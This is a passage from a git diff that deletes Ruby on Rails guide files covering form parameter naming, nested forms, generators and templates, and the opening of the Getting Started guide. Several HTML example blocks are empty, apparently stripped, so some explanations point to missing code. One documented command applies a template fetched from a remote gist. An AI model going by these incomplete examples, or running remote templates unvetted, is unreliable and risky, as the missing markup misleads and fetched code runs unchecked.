options.merge! builder: LabellingFormBuilder - form_for record, options, &block -end -``` - -The form builder used also determines what happens when you do - -```erb -<%= render partial: f %> -``` - -If `f` is an instance of `FormBuilder` then this will render the `form` partial, setting the partial's object to the form builder. If the form builder is of class `LabellingFormBuilder` then the `labelling_form` partial would be rendered instead. - -Understanding Parameter Naming Conventions ------------------------------------------- - -As you've seen in the previous sections, values from forms can be at the top level of the `params` hash or nested in another hash. For example, in a standard `create` -action for a Person model, `params[:person]` would usually be a hash of all the attributes for the person to create. The `params` hash can also contain arrays, arrays of hashes and so on. - -Fundamentally HTML forms don't know about any sort of structured data, all they generate is name-value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses. - -### Basic Structures - -The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in `params`. For example, if a form contains: - -```html - -``` - -the `params` hash will contain - -```ruby -{'person' => {'name' => 'Henry'}} -``` - -and `params[:person][:name]` will retrieve the submitted value in the controller. - -Hashes can be nested as many levels as required, for example: - -```html - -``` - -will result in the `params` hash being - -```ruby -{'person' => {'address' => {'city' => 'New York'}}} -``` - -Normally Rails ignores duplicate parameter names. If the parameter name contains an empty set of square brackets `[]` then they will be accumulated in an array. If you wanted users to be able to input multiple phone numbers, you could place this in the form: - -```html - - - -``` - -This would result in `params[:person][:phone_number]` being an array containing the inputted phone numbers. - -### Combining Them - -We can mix and match these two concepts. One element of a hash might be an array as in the previous example, or you can have an array of hashes. For example, a form might let you create any number of addresses by repeating the following form fragment - -```html - - - -``` - -This would result in `params[:addresses]` being an array of hashes with keys `line1`, `line2` and `city`. Rails decides to start accumulating values in a new hash whenever it encounters an input name that already exists in the current hash. - -There's a restriction, however, while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can usually be replaced by hashes; for example, instead of having an array of model objects, one can have a hash of model objects keyed by their id, an array index or some other parameter. - -WARNING: Array parameters do not play well with the `check_box` helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The `check_box` helper fakes this by creating an auxiliary hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new array element. It is preferable to either use `check_box_tag` or to use hashes instead of arrays. - -### Using Form Helpers - -The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as `text_field_tag` Rails also provides higher level support. The two tools at your disposal here are the name parameter to `form_for` and `fields_for` and the `:index` option that helpers take. - -You might want to render a form with a set of edit fields for each of a person's addresses. For example: - -```erb -<%= form_for @person do |person_form| %> - <%= person_form.text_field :name %> - <% @person.addresses.each do |address| %> - <%= person_form.fields_for address, index: address.id do |address_form|%> - <%= address_form.text_field :city %> - <% end %> - <% end %> -<% end %> -``` - -Assuming the person had two addresses, with ids 23 and 45 this would create output similar to this: - -```html -
- - - -
-``` - -This will result in a `params` hash that looks like - -```ruby -{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}} -``` - -Rails knows that all these inputs should be part of the person hash because you -called `fields_for` on the first form builder. By specifying an `:index` option -you're telling Rails that instead of naming the inputs `person[address][city]` -it should insert that index surrounded by [] between the address and the city. -This is often useful as it is then easy to locate which Address record -should be modified. You can pass numbers with some other significance, -strings or even `nil` (which will result in an array parameter being created). - -To create more intricate nestings, you can specify the first part of the input -name (`person[address]` in the previous example) explicitly: - -```erb -<%= fields_for 'person[address][primary]', address, index: address do |address_form| %> - <%= address_form.text_field :city %> -<% end %> -``` - -will create inputs like - -```html - -``` - -As a general rule the final input name is the concatenation of the name given to `fields_for`/`form_for`, the index value and the name of the attribute. You can also pass an `:index` option directly to helpers such as `text_field`, but it is usually less repetitive to specify this at the form builder level rather than on individual input controls. - -As a shortcut you can append [] to the name and omit the `:index` option. This is the same as specifying `index: address` so - -```erb -<%= fields_for 'person[address][primary][]', address do |address_form| %> - <%= address_form.text_field :city %> -<% end %> -``` - -produces exactly the same output as the previous example. - -Forms to External Resources ---------------------------- - -Rails' form helpers can also be used to build a form for posting data to an external resource. However, at times it can be necessary to set an `authenticity_token` for the resource; this can be done by passing an `authenticity_token: 'your_external_token'` parameter to the `form_tag` options: - -```erb -<%= form_tag 'http://farfar.away/form', authenticity_token: 'external_token' do %> - Form contents -<% end %> -``` - -Sometimes when submitting data to an external resource, like a payment gateway, the fields that can be used in the form are limited by an external API and it may be undesirable to generate an `authenticity_token`. To not send a token, simply pass `false` to the `:authenticity_token` option: - -```erb -<%= form_tag 'http://farfar.away/form', authenticity_token: false do %> - Form contents -<% end %> -``` - -The same technique is also available for `form_for`: - -```erb -<%= form_for @invoice, url: external_url, authenticity_token: 'external_token' do |f| %> - Form contents -<% end %> -``` - -Or if you don't want to render an `authenticity_token` field: - -```erb -<%= form_for @invoice, url: external_url, authenticity_token: false do |f| %> - Form contents -<% end %> -``` - -Building Complex Forms ----------------------- - -Many apps grow beyond simple forms editing a single object. For example, when creating a `Person` you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary. - -### Configuring the Model - -Active Record provides model level support via the `accepts_nested_attributes_for` method: - -```ruby -class Person < ApplicationRecord - has_many :addresses - accepts_nested_attributes_for :addresses -end - -class Address < ApplicationRecord - belongs_to :person -end -``` - -This creates an `addresses_attributes=` method on `Person` that allows you to create, update and (optionally) destroy addresses. - -### Nested Forms - -The following form allows a user to create a `Person` and its associated addresses. - -```html+erb -<%= form_for @person do |f| %> - Addresses: -
    - <%= f.fields_for :addresses do |addresses_form| %> -
  • - <%= addresses_form.label :kind %> - <%= addresses_form.text_field :kind %> - - <%= addresses_form.label :street %> - <%= addresses_form.text_field :street %> - ... -
  • - <% end %> -
-<% end %> -``` - - -When an association accepts nested attributes `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 2 sets of address fields being rendered on the new person form. - -```ruby -def new - @person = Person.new - 2.times { @person.addresses.build} -end -``` - -The `fields_for` yields a form builder. The parameters' name will be what -`accepts_nested_attributes_for` expects. For example, when creating a user with -2 addresses, the submitted parameters would look like: - -```ruby -{ - 'person' => { - 'name' => 'John Doe', - 'addresses_attributes' => { - '0' => { - 'kind' => 'Home', - 'street' => '221b Baker Street' - }, - '1' => { - 'kind' => 'Office', - 'street' => '31 Spooner Street' - } - } - } -} -``` - -The keys of the `:addresses_attributes` hash are unimportant, they need merely be different for each address. - -If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an `id`. - -### The Controller - -As usual you need to -[whitelist the parameters](action_controller_overview.html#strong-parameters) in -the controller before you pass them to the model: - -```ruby -def create - @person = Person.new(person_params) - # ... -end - -private - def person_params - params.require(:person).permit(:name, addresses_attributes: [:id, :kind, :street]) - end -``` - -### Removing Objects - -You can allow users to delete associated objects by passing `allow_destroy: true` to `accepts_nested_attributes_for` - -```ruby -class Person < ApplicationRecord - has_many :addresses - accepts_nested_attributes_for :addresses, allow_destroy: true -end -``` - -If the hash of attributes for an object contains the key `_destroy` with a value -of `1` or `true` then the object will be destroyed. This form allows users to -remove addresses: - -```erb -<%= form_for @person do |f| %> - Addresses: -
    - <%= f.fields_for :addresses do |addresses_form| %> -
  • - <%= addresses_form.check_box :_destroy%> - <%= addresses_form.label :kind %> - <%= addresses_form.text_field :kind %> - ... -
  • - <% end %> -
-<% end %> -``` - -Don't forget to update the whitelisted params in your controller to also include -the `_destroy` field: - -```ruby -def person_params - params.require(:person). - permit(:name, addresses_attributes: [:id, :kind, :street, :_destroy]) -end -``` - -### Preventing Empty Records - -It is often useful to ignore sets of fields that the user has not filled in. You can control this by passing a `:reject_if` proc to `accepts_nested_attributes_for`. This proc will be called with each hash of attributes submitted by the form. If the proc returns `false` then Active Record will not build an associated object for that hash. The example below only tries to build an address if the `kind` attribute is set. - -```ruby -class Person < ApplicationRecord - has_many :addresses - accepts_nested_attributes_for :addresses, reject_if: lambda {|attributes| attributes['kind'].blank?} -end -``` - -As a convenience you can instead pass the symbol `:all_blank` which will create a proc that will reject records where all the attributes are blank excluding any value for `_destroy`. - -### Adding Fields on the Fly - -Rather than rendering multiple sets of fields ahead of time you may wish to add them only when a user clicks on an 'Add new address' button. Rails does not provide any built-in support for this. When generating new sets of fields you must ensure the key of the associated array is unique - the current JavaScript date (milliseconds after the epoch) is a common choice. diff --git a/source/generators.md b/source/generators.md deleted file mode 100644 index d0b6cef..0000000 --- a/source/generators.md +++ /dev/null @@ -1,714 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -Creating and Customizing Rails Generators & Templates -===================================================== - -Rails generators are an essential tool if you plan to improve your workflow. With this guide you will learn how to create generators and customize existing ones. - -After reading this guide, you will know: - -* How to see which generators are available in your application. -* How to create a generator using templates. -* How Rails searches for generators before invoking them. -* How Rails internally generates Rails code from the templates. -* How to customize your scaffold by creating new generators. -* How to customize your scaffold by changing generator templates. -* How to use fallbacks to avoid overwriting a huge set of generators. -* How to create an application template. - --------------------------------------------------------------------------------- - -First Contact -------------- - -When you create an application using the `rails` command, you are in fact using a Rails generator. After that, you can get a list of all available generators by just invoking `rails generate`: - -```bash -$ rails new myapp -$ cd myapp -$ bin/rails generate -``` - -You will get a list of all generators that comes with Rails. If you need a detailed description of the helper generator, for example, you can simply do: - -```bash -$ bin/rails generate helper --help -``` - -Creating Your First Generator ------------------------------ - -Since Rails 3.0, generators are built on top of [Thor](https://github.com/erikhuda/thor). Thor provides powerful options for parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named `initializer.rb` inside `config/initializers`. - -The first step is to create a file at `lib/generators/initializer_generator.rb` with the following content: - -```ruby -class InitializerGenerator < Rails::Generators::Base - def create_initializer_file - create_file "config/initializers/initializer.rb", "# Add initialization content here" - end -end -``` - -NOTE: `create_file` is a method provided by `Thor::Actions`. Documentation for `create_file` and other Thor methods can be found in [Thor's documentation](http://rdoc.info/github/erikhuda/thor/master/Thor/Actions.html) - -Our new generator is quite simple: it inherits from `Rails::Generators::Base` and has one method definition. When a generator is invoked, each public method in the generator is executed sequentially in the order that it is defined. Finally, we invoke the `create_file` method that will create a file at the given destination with the given content. If you are familiar with the Rails Application Templates API, you'll feel right at home with the new generators API. - -To invoke our new generator, we just need to do: - -```bash -$ bin/rails generate initializer -``` - -Before we go on, let's see our brand new generator description: - -```bash -$ bin/rails generate initializer --help -``` - -Rails is usually able to generate good descriptions if a generator is namespaced, as `ActiveRecord::Generators::ModelGenerator`, but not in this particular case. We can solve this problem in two ways. The first one is calling `desc` inside our generator: - -```ruby -class InitializerGenerator < Rails::Generators::Base - desc "This generator creates an initializer file at config/initializers" - def create_initializer_file - create_file "config/initializers/initializer.rb", "# Add initialization content here" - end -end -``` - -Now we can see the new description by invoking `--help` on the new generator. The second way to add a description is by creating a file named `USAGE` in the same directory as our generator. We are going to do that in the next step. - -Creating Generators with Generators ------------------------------------ - -Generators themselves have a generator: - -```bash -$ bin/rails generate generator initializer - create lib/generators/initializer - create lib/generators/initializer/initializer_generator.rb - create lib/generators/initializer/USAGE - create lib/generators/initializer/templates -``` - -This is the generator just created: - -```ruby -class InitializerGenerator < Rails::Generators::NamedBase - source_root File.expand_path("../templates", __FILE__) -end -``` - -First, notice that we are inheriting from `Rails::Generators::NamedBase` instead of `Rails::Generators::Base`. This means that our generator expects at least one argument, which will be the name of the initializer, and will be available in our code in the variable `name`. - -We can see that by invoking the description of this new generator (don't forget to delete the old generator file): - -```bash -$ bin/rails generate initializer --help -Usage: - rails generate initializer NAME [options] -``` - -We can also see that our new generator has a class method called `source_root`. This method points to where our generator templates will be placed, if any, and by default it points to the created directory `lib/generators/initializer/templates`. - -In order to understand what a generator template means, let's create the file `lib/generators/initializer/templates/initializer.rb` with the following content: - -```ruby -# Add initialization content here -``` - -And now let's change the generator to copy this template when invoked: - -```ruby -class InitializerGenerator < Rails::Generators::NamedBase - source_root File.expand_path("../templates", __FILE__) - - def copy_initializer_file - copy_file "initializer.rb", "config/initializers/#{file_name}.rb" - end -end -``` - -And let's execute our generator: - -```bash -$ bin/rails generate initializer core_extensions -``` - -We can see that now an initializer named core_extensions was created at `config/initializers/core_extensions.rb` with the contents of our template. That means that `copy_file` copied a file in our source root to the destination path we gave. The method `file_name` is automatically created when we inherit from `Rails::Generators::NamedBase`. - -The methods that are available for generators are covered in the [final section](#generator-methods) of this guide. - -Generators Lookup ------------------ - -When you run `rails generate initializer core_extensions` Rails requires these files in turn until one is found: - -```bash -rails/generators/initializer/initializer_generator.rb -generators/initializer/initializer_generator.rb -rails/generators/initializer_generator.rb -generators/initializer_generator.rb -``` - -If none is found you get an error message. - -INFO: The examples above put files under the application's `lib` because said directory belongs to `$LOAD_PATH`. - -Customizing Your Workflow -------------------------- - -Rails own generators are flexible enough to let you customize scaffolding. They can be configured in `config/application.rb`, these are some defaults: - -```ruby -config.generators do |g| - g.orm :active_record - g.template_engine :erb - g.test_framework :test_unit, fixture: true -end -``` - -Before we customize our workflow, let's first see what our scaffold looks like: - -```bash -$ bin/rails generate scaffold User name:string - invoke active_record - create db/migrate/20130924151154_create_users.rb - create app/models/user.rb - invoke test_unit - create test/models/user_test.rb - create test/fixtures/users.yml - invoke resource_route - route resources :users - invoke scaffold_controller - create app/controllers/users_controller.rb - invoke erb - create app/views/users - create app/views/users/index.html.erb - create app/views/users/edit.html.erb - create app/views/users/show.html.erb - create app/views/users/new.html.erb - create app/views/users/_form.html.erb - invoke test_unit - create test/controllers/users_controller_test.rb - invoke helper - create app/helpers/users_helper.rb - invoke jbuilder - create app/views/users/index.json.jbuilder - create app/views/users/show.json.jbuilder - invoke assets - invoke coffee - create app/assets/javascripts/users.coffee - invoke scss - create app/assets/stylesheets/users.scss - invoke scss - create app/assets/stylesheets/scaffolds.scss -``` - -Looking at this output, it's easy to understand how generators work in Rails 3.0 and above. The scaffold generator doesn't actually generate anything, it just invokes others to do the work. This allows us to add/replace/remove any of those invocations. For instance, the scaffold generator invokes the scaffold_controller generator, which invokes erb, test_unit and helper generators. Since each generator has a single responsibility, they are easy to reuse, avoiding code duplication. - -If we want to avoid generating the default `app/assets/stylesheets/scaffolds.scss` file when scaffolding a new resource we can disable `scaffold_stylesheet`: - -```ruby - config.generators do |g| - g.scaffold_stylesheet false - end -``` - -The next customization on the workflow will be to stop generating stylesheet, JavaScript and test fixture files for scaffolds altogether. We can achieve that by changing our configuration to the following: - -```ruby -config.generators do |g| - g.orm :active_record - g.template_engine :erb - g.test_framework :test_unit, fixture: false - g.stylesheets false - g.javascripts false -end -``` - -If we generate another resource with the scaffold generator, we can see that stylesheet, JavaScript and fixture files are not created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators. - -To demonstrate this, we are going to create a new helper generator that simply adds some instance variable readers. First, we create a generator within the rails namespace, as this is where rails searches for generators used as hooks: - -```bash -$ bin/rails generate generator rails/my_helper - create lib/generators/rails/my_helper - create lib/generators/rails/my_helper/my_helper_generator.rb - create lib/generators/rails/my_helper/USAGE - create lib/generators/rails/my_helper/templates -``` - -After that, we can delete both the `templates` directory and the `source_root` -class method call from our new generator, because we are not going to need them. -Add the method below, so our generator looks like the following: - -```ruby -# lib/generators/rails/my_helper/my_helper_generator.rb -class Rails::MyHelperGenerator < Rails::Generators::NamedBase - def create_helper_file - create_file "app/helpers/#{file_name}_helper.rb", <<-FILE -module #{class_name}Helper - attr_reader :#{plural_name}, :#{plural_name.singularize} -end - FILE - end -end -``` - -We can try out our new generator by creating a helper for products: - -```bash -$ bin/rails generate my_helper products - create app/helpers/products_helper.rb -``` - -And it will generate the following helper file in `app/helpers`: - -```ruby -module ProductsHelper - attr_reader :products, :product -end -``` - -Which is what we expected. We can now tell scaffold to use our new helper generator by editing `config/application.rb` once again: - -```ruby -config.generators do |g| - g.orm :active_record - g.template_engine :erb - g.test_framework :test_unit, fixture: false - g.stylesheets false - g.javascripts false - g.helper :my_helper -end -``` - -and see it in action when invoking the generator: - -```bash -$ bin/rails generate scaffold Article body:text - [...] - invoke my_helper - create app/helpers/articles_helper.rb -``` - -We can notice on the output that our new helper was invoked instead of the Rails default. However one thing is missing, which is tests for our new generator and to do that, we are going to reuse old helpers test generators. - -Since Rails 3.0, this is easy to do due to the hooks concept. Our new helper does not need to be focused in one specific test framework, it can simply provide a hook and a test framework just needs to implement this hook in order to be compatible. - -To do that, we can change the generator this way: - -```ruby -# lib/generators/rails/my_helper/my_helper_generator.rb -class Rails::MyHelperGenerator < Rails::Generators::NamedBase - def create_helper_file - create_file "app/helpers/#{file_name}_helper.rb", <<-FILE -module #{class_name}Helper - attr_reader :#{plural_name}, :#{plural_name.singularize} -end - FILE - end - - hook_for :test_framework -end -``` - -Now, when the helper generator is invoked and TestUnit is configured as the test framework, it will try to invoke both `Rails::TestUnitGenerator` and `TestUnit::MyHelperGenerator`. Since none of those are defined, we can tell our generator to invoke `TestUnit::Generators::HelperGenerator` instead, which is defined since it's a Rails generator. To do that, we just need to add: - -```ruby -# Search for :helper instead of :my_helper -hook_for :test_framework, as: :helper -``` - -And now you can re-run scaffold for another resource and see it generating tests as well! - -Customizing Your Workflow by Changing Generators Templates ----------------------------------------------------------- - -In the step above we simply wanted to add a line to the generated helper, without adding any extra functionality. There is a simpler way to do that, and it's by replacing the templates of already existing generators, in that case `Rails::Generators::HelperGenerator`. - -In Rails 3.0 and above, generators don't just look in the source root for templates, they also search for templates in other paths. And one of them is `lib/templates`. Since we want to customize `Rails::Generators::HelperGenerator`, we can do that by simply making a template copy inside `lib/templates/rails/helper` with the name `helper.rb`. So let's create that file with the following content: - -```erb -module <%= class_name %>Helper - attr_reader :<%= plural_name %>, :<%= plural_name.singularize %> -end -``` - -and revert the last change in `config/application.rb`: - -```ruby -config.generators do |g| - g.orm :active_record - g.template_engine :erb - g.test_framework :test_unit, fixture: false - g.stylesheets false - g.javascripts false -end -``` - -If you generate another resource, you can see that we get exactly the same result! This is useful if you want to customize your scaffold templates and/or layout by just creating `edit.html.erb`, `index.html.erb` and so on inside `lib/templates/erb/scaffold`. - -Scaffold templates in Rails frequently use ERB tags; these tags need to be -escaped so that the generated output is valid ERB code. - -For example, the following escaped ERB tag would be needed in the template -(note the extra `%`)... - -```ruby -<%%= stylesheet_include_tag :application %> -``` - -...to generate the following output: - -```ruby -<%= stylesheet_include_tag :application %> -``` - -Adding Generators Fallbacks ---------------------------- - -One last feature about generators which is quite useful for plugin generators is fallbacks. For example, imagine that you want to add a feature on top of TestUnit like [shoulda](https://github.com/thoughtbot/shoulda) does. Since TestUnit already implements all generators required by Rails and shoulda just wants to overwrite part of it, there is no need for shoulda to reimplement some generators again, it can simply tell Rails to use a `TestUnit` generator if none was found under the `Shoulda` namespace. - -We can easily simulate this behavior by changing our `config/application.rb` once again: - -```ruby -config.generators do |g| - g.orm :active_record - g.template_engine :erb - g.test_framework :shoulda, fixture: false - g.stylesheets false - g.javascripts false - - # Add a fallback! - g.fallbacks[:shoulda] = :test_unit -end -``` - -Now, if you create a Comment scaffold, you will see that the shoulda generators are being invoked, and at the end, they are just falling back to TestUnit generators: - -```bash -$ bin/rails generate scaffold Comment body:text - invoke active_record - create db/migrate/20130924143118_create_comments.rb - create app/models/comment.rb - invoke shoulda - create test/models/comment_test.rb - create test/fixtures/comments.yml - invoke resource_route - route resources :comments - invoke scaffold_controller - create app/controllers/comments_controller.rb - invoke erb - create app/views/comments - create app/views/comments/index.html.erb - create app/views/comments/edit.html.erb - create app/views/comments/show.html.erb - create app/views/comments/new.html.erb - create app/views/comments/_form.html.erb - invoke shoulda - create test/controllers/comments_controller_test.rb - invoke my_helper - create app/helpers/comments_helper.rb - invoke jbuilder - create app/views/comments/index.json.jbuilder - create app/views/comments/show.json.jbuilder - invoke assets - invoke coffee - create app/assets/javascripts/comments.coffee - invoke scss -``` - -Fallbacks allow your generators to have a single responsibility, increasing code reuse and reducing the amount of duplication. - -Application Templates ---------------------- - -Now that you've seen how generators can be used _inside_ an application, did you know they can also be used to _generate_ applications too? This kind of generator is referred as a "template". This is a brief overview of the Templates API. For detailed documentation see the [Rails Application Templates guide](rails_application_templates.html). - -```ruby -gem "rspec-rails", group: "test" -gem "cucumber-rails", group: "test" - -if yes?("Would you like to install Devise?") - gem "devise" - generate "devise:install" - model_name = ask("What would you like the user model to be called? [user]") - model_name = "user" if model_name.blank? - generate "devise", model_name -end -``` - -In the above template we specify that the application relies on the `rspec-rails` and `cucumber-rails` gem so these two will be added to the `test` group in the `Gemfile`. Then we pose a question to the user about whether or not they would like to install Devise. If the user replies "y" or "yes" to this question, then the template will add Devise to the `Gemfile` outside of any group and then runs the `devise:install` generator. This template then takes the users input and runs the `devise` generator, with the user's answer from the last question being passed to this generator. - -Imagine that this template was in a file called `template.rb`. We can use it to modify the outcome of the `rails new` command by using the `-m` option and passing in the filename: - -```bash -$ rails new thud -m template.rb -``` - -This command will generate the `Thud` application, and then apply the template to the generated output. - -Templates don't have to be stored on the local system, the `-m` option also supports online templates: - -```bash -$ rails new thud -m https://gist.github.com/radar/722911/raw/ -``` - -Whilst the final section of this guide doesn't cover how to generate the most awesome template known to man, it will take you through the methods available at your disposal so that you can develop it yourself. These same methods are also available for generators. - -Adding Command Line Arguments ------------------------------ -Rails generators can be easily modified to accept custom command line arguments. This functionality comes from [Thor](http://www.rubydoc.info/github/erikhuda/thor/master/Thor/Base/ClassMethods#class_option-instance_method): - -``` -class_option :scope, type: :string, default: 'read_products' -``` - -Now our generator can be invoked as follows: - -```bash -rails generate initializer --scope write_products -``` - -The command line arguments are accessed through the `options` method inside the generator class. e.g: - -```ruby -@scope = options['scope'] -``` - -Generator methods ------------------ - -The following are methods available for both generators and templates for Rails. - -NOTE: Methods provided by Thor are not covered this guide and can be found in [Thor's documentation](http://rdoc.info/github/erikhuda/thor/master/Thor/Actions.html) - -### `gem` - -Specifies a gem dependency of the application. - -```ruby -gem "rspec", group: "test", version: "2.1.0" -gem "devise", "1.1.5" -``` - -Available options are: - -* `:group` - The group in the `Gemfile` where this gem should go. -* `:version` - The version string of the gem you want to use. Can also be specified as the second argument to the method. -* `:git` - The URL to the git repository for this gem. - -Any additional options passed to this method are put on the end of the line: - -```ruby -gem "devise", git: "git://github.com/plataformatec/devise", branch: "master" -``` - -The above code will put the following line into `Gemfile`: - -```ruby -gem "devise", git: "git://github.com/plataformatec/devise", branch: "master" -``` - -### `gem_group` - -Wraps gem entries inside a group: - -```ruby -gem_group :development, :test do - gem "rspec-rails" -end -``` - -### `add_source` - -Adds a specified source to `Gemfile`: - -```ruby -add_source "http://gems.github.com/" -``` - -This method also takes a block: - -```ruby -add_source "http://gems.github.com/" do - gem "rspec-rails" -end -``` - -### `inject_into_file` - -Injects a block of code into a defined position in your file. - -```ruby -inject_into_file 'name_of_file.rb', after: "#The code goes below this line. Don't forget the Line break at the end\n" do <<-'RUBY' - puts "Hello World" -RUBY -end -``` - -### `gsub_file` - -Replaces text inside a file. - -```ruby -gsub_file 'name_of_file.rb', 'method.to_be_replaced', 'method.the_replacing_code' -``` - -Regular Expressions can be used to make this method more precise. You can also use `append_file` and `prepend_file` in the same way to place code at the beginning and end of a file respectively. - -### `application` - -Adds a line to `config/application.rb` directly after the application class definition. - -```ruby -application "config.asset_host = 'http://example.com/'" -``` - -This method can also take a block: - -```ruby -application do - "config.asset_host = 'http://example.com/'" -end -``` - -Available options are: - -* `:env` - Specify an environment for this configuration option. If you wish to use this option with the block syntax the recommended syntax is as follows: - -```ruby -application(nil, env: "development") do - "config.asset_host = 'http://localhost:3000/'" -end -``` - -### `git` - -Runs the specified git command: - -```ruby -git :init -git add: "." -git commit: "-m First commit!" -git add: "onefile.rb", rm: "badfile.cxx" -``` - -The values of the hash here being the arguments or options passed to the specific git command. As per the final example shown here, multiple git commands can be specified at a time, but the order of their running is not guaranteed to be the same as the order that they were specified in. - -### `vendor` - -Places a file into `vendor` which contains the specified code. - -```ruby -vendor "sekrit.rb", '#top secret stuff' -``` - -This method also takes a block: - -```ruby -vendor "seeds.rb" do - "puts 'in your app, seeding your database'" -end -``` - -### `lib` - -Places a file into `lib` which contains the specified code. - -```ruby -lib "special.rb", "p Rails.root" -``` - -This method also takes a block: - -```ruby -lib "super_special.rb" do - puts "Super special!" -end -``` - -### `rakefile` - -Creates a Rake file in the `lib/tasks` directory of the application. - -```ruby -rakefile "test.rake", "hello there" -``` - -This method also takes a block: - -```ruby -rakefile "test.rake" do - %Q{ - task rock: :environment do - puts "Rockin'" - end - } -end -``` - -### `initializer` - -Creates an initializer in the `config/initializers` directory of the application: - -```ruby -initializer "begin.rb", "puts 'this is the beginning'" -``` - -This method also takes a block, expected to return a string: - -```ruby -initializer "begin.rb" do - "puts 'this is the beginning'" -end -``` - -### `generate` - -Runs the specified generator where the first argument is the generator name and the remaining arguments are passed directly to the generator. - -```ruby -generate "scaffold", "forums title:string description:text" -``` - - -### `rake` - -Runs the specified Rake task. - -```ruby -rake "db:migrate" -``` - -Available options are: - -* `:env` - Specifies the environment in which to run this rake task. -* `:sudo` - Whether or not to run this task using `sudo`. Defaults to `false`. - -### `capify!` - -Runs the `capify` command from Capistrano at the root of the application which generates Capistrano configuration. - -```ruby -capify! -``` - -### `route` - -Adds text to the `config/routes.rb` file: - -```ruby -route "resources :people" -``` - -### `readme` - -Output the contents of a file in the template's `source_path`, usually a README. - -```ruby -readme "README" -``` diff --git a/source/getting_started.md b/source/getting_started.md deleted file mode 100644 index 0681148..0000000 --- a/source/getting_started.md +++ /dev/null @@ -1,2095 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -Getting Started with Rails -========================== - -This guide covers getting up and running with Ruby on Rails. - -After reading this guide, you will know: - -* How to install Rails, create a new Rails application, and connect your - application to a database. -* The general layout of a Rails application. -* The basic principles of MVC (Model, View, Controller) and RESTful design. -* How to quickly generate the starting pieces of a Rails application. - --------------------------------------------------------------------------------- - -Guide Assumptions ------------------ - -This guide is designed for beginners who want to get started with a Rails -application from scratch. It does not assume that you have any prior experience -with Rails. However, to get the most out of it, you need to have some -prerequisites installed: - -* The [Ruby](https://www.ruby-lang.org/en/downloads) language version 2.2.2 or newer. -* Right version of [Development Kit](http://rubyinstaller.org/downloads/), if you - are using Windows. -* The [RubyGems](https://rubygems.org) packaging system, which is installed with - Ruby by default. To learn more about RubyGems, please read the - [RubyGems Guides](http://guides.rubygems.org). -* A working installation of the [SQLite3 Database](https://www.sqlite.org). - -Rails is a web application framework running on the Ruby programming language. -If you have no prior experience with Ruby, you will find a very steep learning -curve diving straight into Rails. There are several curated lists of online resources -for learning Ruby: - -* [Official Ruby Programming Language website](https://www.ruby-lang.org/en/documentation/) -* [List of Free Programming Books](https://github.com/vhf/free-programming-books/blob/master/free-programming-books.md#ruby) - -Be aware that some resources, while still excellent, cover versions of Ruby as old as -1.6, and commonly 1.8, and will not include some syntax that you will see in day-to-day -development with Rails. - -What is Rails? --------------- - -Rails is a web application development framework written in the Ruby language. -It is designed to make programming web applications easier by making assumptions -about what every developer needs to get started. It allows you to write less -code while accomplishing more than many other languages and frameworks. -Experienced Rails developers also report that it makes web application -development more fun. - -Rails is opinionated software. It makes the assumption that there is a "best" -way to do things, and it's designed to encourage that way - and in some cases to -discourage alternatives. If you learn "The Rails Way" you'll probably discover a -tremendous increase in productivity. If you persist in bringing old habits from -other languages to your Rails development, and trying to use patterns you -learned elsewhere, you may have a less happy experience. - -The Rails philosophy includes two major guiding principles: - -* **Don't Repeat Yourself:** DRY is a principle of software development which - states that "Every piece of knowledge must have a single, unambiguous, authoritative - representation within a system." By not writing the same information over and over - again, our code is more maintainable, more extensible, and less buggy. -* **Convention Over Configuration:** Rails has opinions about the best way to do many - things in a web application, and defaults to this set of conventions, rather than - require that you specify minutiae through endless configuration files. - -Creating a New Rails Project ----------------------------- -The best way to read this guide is to follow it step by step. All steps are -essential to run this example application and no additional code or steps are -needed. - -By following along with this guide, you'll create a Rails project called -`blog`, a (very) simple weblog. Before you can start building the application, -you need to make sure that you have Rails itself installed. - -TIP: The examples below use `$` to represent your terminal prompt in a UNIX-like OS, -though it may have been customized to appear differently. If you are using Windows, -your prompt will look something like `c:\source_code>` - -### Installing Rails - -Open up a command line prompt. On macOS open Terminal.app, on Windows choose -"Run" from your Start menu and type 'cmd.exe'. Any commands prefaced with a -dollar sign `$` should be run in the command line. Verify that you have a -current version of Ruby installed: - -```bash -$ ruby -v -ruby 2.3.1p112 -``` - -TIP: A number of tools exist to help you quickly install Ruby and Ruby -on Rails on your system. Windows users can use [Rails Installer](http://railsinstaller.org), -while macOS users can use [Tokaido](https://github.com/tokaido/tokaidoapp). -For more installation methods for most Operating Systems take a look at -[ruby-lang.org](https://www.ruby-lang.org/en/documentation/installation/). - -Many popular UNIX-like OSes ship with an acceptable version of SQLite3. -On Windows, if you installed Rails through Rails Installer, you -already have SQLite installed. Others can find installation instructions -at the [SQLite3 website](https://www.sqlite.org). -Verify that it is correctly installed and in your PATH: - -```bash -$ sqlite3 --version -``` - -The program should report its version. - -To install Rails, use the `gem install` command provided by RubyGems: - -```bash -$ gem install rails -``` - -To verify that you have everything installed correctly, you should be able to -run the following: - -```bash -$ rails --version -``` - -If it says something like "Rails 5.1.0", you are ready to continue. - -### Creating the Blog Application - -Rails 